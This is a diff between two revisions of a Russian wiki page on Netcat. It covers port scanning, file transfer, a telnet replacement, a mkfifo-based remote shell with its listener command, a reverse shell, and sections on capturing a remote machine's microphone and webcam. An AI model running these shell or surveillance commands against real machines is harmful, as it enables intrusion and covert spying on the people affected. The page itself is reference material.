Различия
Показаны различия между двумя версиями страницы.
| Предыдущая версия справа и слева Предыдущая версия Следующая версия | Предыдущая версия | ||
| networks:nc [2024/04/10 21:53] – mirocow | networks:nc [2024/04/11 19:23] (текущий) – mirocow | ||
|---|---|---|---|
| Строка 1: | Строка 1: | ||
| - | {{tag> | + | {{tag> |
| {{tag> | {{tag> | ||
| Строка 5: | Строка 5: | ||
| ====== Netcat ====== | ====== Netcat ====== | ||
| - | Netcat - это сетевой инструмент. | + | Netcat - это сетевой инструмент, её основная задача – проверка портов. |
| <code bash> | <code bash> | ||
| Строка 39: | Строка 39: | ||
| <code bash> | <code bash> | ||
| - | nc -nlv 8080 > / | + | $ nc -nlv 8080 > / |
| - | echo -n "GET / HTTP/ | + | $ echo -n "GET / HTTP/ |
| - | cat / | + | $ cat / |
| </ | </ | ||
| - | ===== Сканировать | + | ===== Получать |
| <code bash> | <code bash> | ||
| - | $ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color | + | $ nc -lp 8080 > /tmp/log.txt & |
| - | $ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color | + | $ nc 0.0.0.0 8080 |
| + | $ cat / | ||
| </ | </ | ||
| Строка 70: | Строка 71: | ||
| ===== Использовать вместо telnet ===== | ===== Использовать вместо telnet ===== | ||
| + | |||
| (первая - telnet-сервер, | (первая - telnet-сервер, | ||
| Строка 80: | Строка 82: | ||
| <code bash> | <code bash> | ||
| - | | + | $ nc -z execbit.ru 1-1024 |
| + | $ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color | ||
| + | $ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color | ||
| + | </ | ||
| + | |||
| + | ===== Создавать удалённую оболочку ===== | ||
| + | |||
| + | Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>& | ||
| + | После этого останется запустить nc с выводом в наш именованный канал (nc 192.168.1.132 8080 >/ | ||
| + | |||
| + | <code bash> | ||
| + | $ nc -lvnp 8080 | ||
| + | $ rm / | ||
| </ | </ | ||
| Строка 90: | Строка 104: | ||
| ===== Организовывать обратный шелл ===== | ===== Организовывать обратный шелл ===== | ||
| + | |||
| (первая - клиент, | (первая - клиент, | ||
| Строка 98: | Строка 113: | ||
| ===== Делать микрофонную запись с удаленной машины ===== | ===== Делать микрофонную запись с удаленной машины ===== | ||
| + | |||
| (сервер, | (сервер, | ||
| Строка 106: | Строка 122: | ||
| ===== Получать снимки с web-камеры удаленной машины ===== | ===== Получать снимки с web-камеры удаленной машины ===== | ||
| + | |||
| (сервер, | (сервер, | ||
| Строка 157: | Строка 174: | ||
| } | } | ||
| </ | </ | ||
| + | |||
| + | ===== Сетевые утилиты ===== | ||
| + | |||
| + | |||
| + | {{topic> | ||